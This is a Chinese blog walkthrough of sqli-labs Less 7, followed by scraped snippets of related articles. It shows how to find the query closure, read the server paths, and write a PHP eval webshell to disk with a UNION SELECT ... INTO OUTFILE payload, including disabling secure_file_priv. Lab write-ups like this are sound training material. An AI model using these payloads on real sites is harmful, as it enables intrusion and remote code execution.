第七关:

输入?id=1 页面显示如下,可以看出这关大概是锻炼利用sql来写入一句话木马。

这里说我下我的探测流程(主要是为了知道后台的sql是怎样拼凑的):

输入?id=1' 报错  说明后台是用的单引符号进行的拼凑

输入?id=1'%23还是报错

输入?id=1')%23还是报错

输入?id=1'))%23 页面ok了,说明后台需要闭合两个括号,看后台实现

同时也可以看到这里报错信息是被注释掉了,也就是说查询不出结果了,报错联合查询和报错查询(以及双查询注入),只能使用盲注。但这关的重点不在这里,我们后面的关卡中会用到盲注的。这关主要是讲如何利用sql写入一句话。

第一步:

由于写入文件需要网站的物理路径(也就是绝对路径),这里需要先从其他关卡中获取路径(实际渗透过程中可以通过报错或其他情况获取路径)。

这里介绍两个mysql的内置变量 @@datadir 读取数据库的路径,@@basedir 读取数据库安装路径id

这里先从第一关中获取路径,输入

?id=-1'union%20select%201,@@datadir,@@basedir%23

这里将一句话写入D:\phpstudy\PHPTutorial\下
开始写入的时候一直不成功,后来把报错信息打在页面上才发现mysql的配置信息中没有设置secure_file_priv,默认为null,代表不能导入文件

在my.ini中配置secure_file_priv=''即可,值得注意的是路径的\需要转义也就是\\。

第二步:输入一句话到evil.php中

?id=1')) union%20select%201,2,'<?php @eval($_GET["a"]); ?>'%20into%20outfile%20'D:\\phpstudy\\PHPTutorial\\evil.php'%20%23

这里代码执行成功了,之所以显示You have an error in your SQL syntax 是和程序有关,查询的行数为0时,会显示这句话,实际上sql并没有报错。

看后台,成功生成了一句话木马。

第三步:访问一句话

sqli-labs(四)的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli labs系列-less-4 这关好坑!!!

    这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  9. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  10. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

随机推荐

  1. 【绿书】 模拟,rep大坑

    https://vjudge.net/contest/229603#problem/B 绿书题 大模拟,绿书上用了个比较麻烦的输入,其实只要getchar()!='0'就行 坑: rep(i,0,s. ...

  2. A pointer is a variable whose value is the address of another variable 指针 null pointer 空指针 内存地址0 空指针检验

    小结: 1.指针的实际值为代表内存地址的16进制数: 2.不同指针的区别是他们指向的变量.常量的类型: https://www.tutorialspoint.com/cprogramming/c_po ...

  3. ORACLE监听配置及测试实验

    实验一: 修改db_domain和service_name 我们将Db_name和Db_domain两个参数用'.'连接起来,表示一个数据库,并将该数据库的名称称为Global_name即等于serv ...

  4. Qt网络模块如何使用(表格)

    1.网络模块介绍 类名 说明 中文 QAbstractNetworkCache The interface for cache implementations 缓存实现的接口 QNetworkCach ...

  5. python之文件操作的函数

    file=open("e:\\c.py","w",encoding="utf-8")date=file.close()            ...

  6. 【pyqtgraph绘图】线条,填充和颜色

    解读官方API-线条,填充和颜色 参考: http://www.pyqtgraph.org/documentation/style.html 线条,填充和颜色 Qt依靠其QColor,QPen和QBr ...

  7. 【PyQt5-Qt Designer】界面布局

    PyQt5 界面布局详谈 箱式布局 QHBoxLayout和QVBoxLayout是基本的布局类,它们在水平和垂直方向上排列小部件 效果图: from PyQt5.QtCore import Qt f ...

  8. redis 的消息队列 VS kafka

    redis push/pop VS pub/sub (1)push/pop每条消息只会有一个消费者消费,而pub/sub可以有多个 对于任务队列来说,push/pop足够,但真的在做分布式消息分发的时 ...

  9. java执行字符串数学表达式【记录】

    https://stackoverflow.com/questions/3422673/evaluating-a-math-expression-given-in-string-form 1. goo ...

  10. 终极大招——Scrapy框架

    Scrapy框架 Scrapy 是一个开源和协作的框架,其最初是为了页面抓取 (更确切来说, 网络抓取 )所设计的,使用它可以以快速.简单.可扩展的方式从网站中提取所需的数据.但目前Scrapy的用途 ...